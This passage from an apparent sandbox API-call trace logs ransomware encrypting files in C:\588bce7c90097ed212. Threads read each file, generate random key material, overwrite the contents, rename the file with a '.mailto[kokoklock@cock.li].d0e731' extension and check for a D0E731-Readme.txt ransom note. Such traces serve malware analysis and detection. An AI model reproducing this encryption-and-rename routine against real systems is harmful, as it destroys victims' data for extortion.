lpNumberOfBytesWritten=0x94efe5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x94efe5c*=0x4, lpOverlapped=0x0) returned 1 [0166.245] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.245] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.245] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4348) returned 1 [0166.245] CloseHandle (hObject=0x52c) returned 1 [0166.245] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.245] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.245] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.245] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.246] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.246] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.246] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.246] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1055\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0166.246] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" [0166.246] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\d0e731-readme.txt")) returned 0x20 [0166.246] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.246] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe50a0) returned 1 [0166.247] RtlExitUserThread (Status=0x1) Thread: id = 1611 os_tid = 0x610 [0166.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.248] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.248] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x956f8b0 | out: lpFileSize=0x956f8b0*=77010) returned 1 [0166.248] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x12cce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.248] ReadFile (in: hFile=0x52c, lpBuffer=0x956f884, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x956f884*, lpNumberOfBytesRead=0x956f880*=0x4, lpOverlapped=0x0) returned 1 [0166.250] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.250] NtQuerySystemTime (in: CurrentTime=0x956f85c | out: CurrentTime=0x956f85c*=132121213235635560) returned 0x0 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x1cb13f21 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xe86605ee [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xfa773fe9 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x34e9665d [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xb66ae80a [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xfb286cdf [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xcf0c752c [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x571d8bf9 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x1109f884 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x3a233751 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x35586dc3 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x68362b0a [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xf756d4cb [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x281114e6 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x97d8a084 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x4f0ebee3 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x2a6c2d26 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x2faf5b02 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xc3283928 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xe99f7b65 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x4bd00450 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x8e8d003a [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x5a943caf [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x5ed1d083 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x766fd7c1 [0166.250] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xbb62079f [0166.251] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x8aa9be1d [0166.251] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xe94a80bd [0166.251] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x6d983599 [0166.251] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x5f77fe9f [0166.251] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0xbce8784c [0166.251] RtlRandom (in: Seed=0x956f868 | out: Seed=0x956f868) returned 0x99e7d799 [0166.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4348 [0166.263] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.263] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0166.263] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.263] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.263] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.263] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.263] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x956f834, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x956f834*=0x4096, lpOverlapped=0x0) returned 1 [0166.264] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4398 [0166.264] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4398) returned 1 [0166.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.264] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.264] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.264] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.264] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.264] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x956f834, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x956f834*=0x4096, lpOverlapped=0x0) returned 1 [0166.265] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.265] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x12cd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.265] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x956f86c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x956f86c*=0x20, lpOverlapped=0x0) returned 1 [0166.265] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.265] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.265] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x956f880*=0x8, lpOverlapped=0x0) returned 1 [0166.265] WriteFile (in: hFile=0x52c, lpBuffer=0x956f898*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x956f898*, lpNumberOfBytesWritten=0x956f880*=0x4, lpOverlapped=0x0) returned 1 [0166.265] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x956f880*=0x4, lpOverlapped=0x0) returned 1 [0166.265] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x956f880*=0x6c, lpOverlapped=0x0) returned 1 [0166.265] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x956f880*=0x20, lpOverlapped=0x0) returned 1 [0166.266] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x956f880, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x956f880*=0x4, lpOverlapped=0x0) returned 1 [0166.266] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.266] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4348) returned 1 [0166.266] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0166.266] CloseHandle (hObject=0x52c) returned 1 [0166.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.266] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.266] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.266] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.267] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.267] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.267] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1055\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0166.267] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" [0166.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\d0e731-readme.txt")) returned 0x20 [0166.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d8a8) returned 1 [0166.268] RtlExitUserThread (Status=0x1) Thread: id = 1612 os_tid = 0x380 [0166.269] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.269] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.270] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.270] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x95efab8 | out: lpFileSize=0x95efab8*=4057) returned 1 [0166.270] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xfd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.270] ReadFile (in: hFile=0x52c, lpBuffer=0x95efa8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x95efa8c*, lpNumberOfBytesRead=0x95efa88*=0x4, lpOverlapped=0x0) returned 1 [0166.271] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4348 [0166.271] NtQuerySystemTime (in: CurrentTime=0x95efa64 | out: CurrentTime=0x95efa64*=132121213235792073) returned 0x0 [0166.271] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x4b71df0f [0166.271] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x7cd11fd0 [0166.271] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x85263b01 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x5e5b273e [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xb95d291 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xdceeec4b [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x485d7c13 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x91384613 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xe70b6061 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xe92a96c2 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x3639f553 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x92077850 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xac80c2a7 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xe615252 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x5aaf0cb1 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x70c87a78 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x23688c11 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x6f1940f9 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xc92eaf0a [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x9320a167 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x80d85c5f [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x759a46a3 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x735cedde [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xefaa5453 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x5a1f85ec [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xcc96d85a [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xa6dd9c92 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x934f77a4 [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x3dbf05ec [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0x20f1512f [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xe4a96e7e [0166.272] RtlRandom (in: Seed=0x95efa70 | out: Seed=0x95efa70) returned 0xf39b87ff [0166.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4398 [0166.283] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.283] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.283] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0xfd9, lpNumberOfBytesRead=0x95efa64, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x95efa64*=0xfd9, lpOverlapped=0x0) returned 1 [0168.405] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x95efa2c | out: lpNewFilePointer=0x0) returned 1 [0168.405] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0xfd9, lpNumberOfBytesWritten=0x95efa60, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x95efa60*=0xfd9, lpOverlapped=0x0) returned 1 [0168.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883e0 [0168.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88340 [0168.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88340) returned 1 [0168.405] WriteFile (in: hFile=0x52c, lpBuffer=0x2f883e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x95efa5c, lpOverlapped=0x0 | out: lpBuffer=0x2f883e0*, lpNumberOfBytesWritten=0x95efa5c*=0x20, lpOverlapped=0x0) returned 1 [0168.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883e0) returned 1 [0168.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0168.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0168.408] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0168.408] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.408] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4398*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x2fe4398*, lpNumberOfBytesWritten=0x95efa88*=0x8, lpOverlapped=0x0) returned 1 [0168.408] WriteFile (in: hFile=0x52c, lpBuffer=0x95efaa0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x95efaa0*, lpNumberOfBytesWritten=0x95efa88*=0x4, lpOverlapped=0x0) returned 1 [0168.408] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x95efa88*=0x4, lpOverlapped=0x0) returned 1 [0168.408] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x95efa88*=0x6c, lpOverlapped=0x0) returned 1 [0168.409] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x95efa88*=0x20, lpOverlapped=0x0) returned 1 [0168.409] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x95efa88, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x95efa88*=0x4, lpOverlapped=0x0) returned 1 [0168.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0168.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0168.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4398) returned 1 [0168.409] CloseHandle (hObject=0x52c) returned 1 [0168.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e1e8 [0168.409] wcscpy (in: _Dest=0x2f7e1e8, _Source="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0168.409] wcscat (in: _Dest=0x2f7e1e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.409] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: 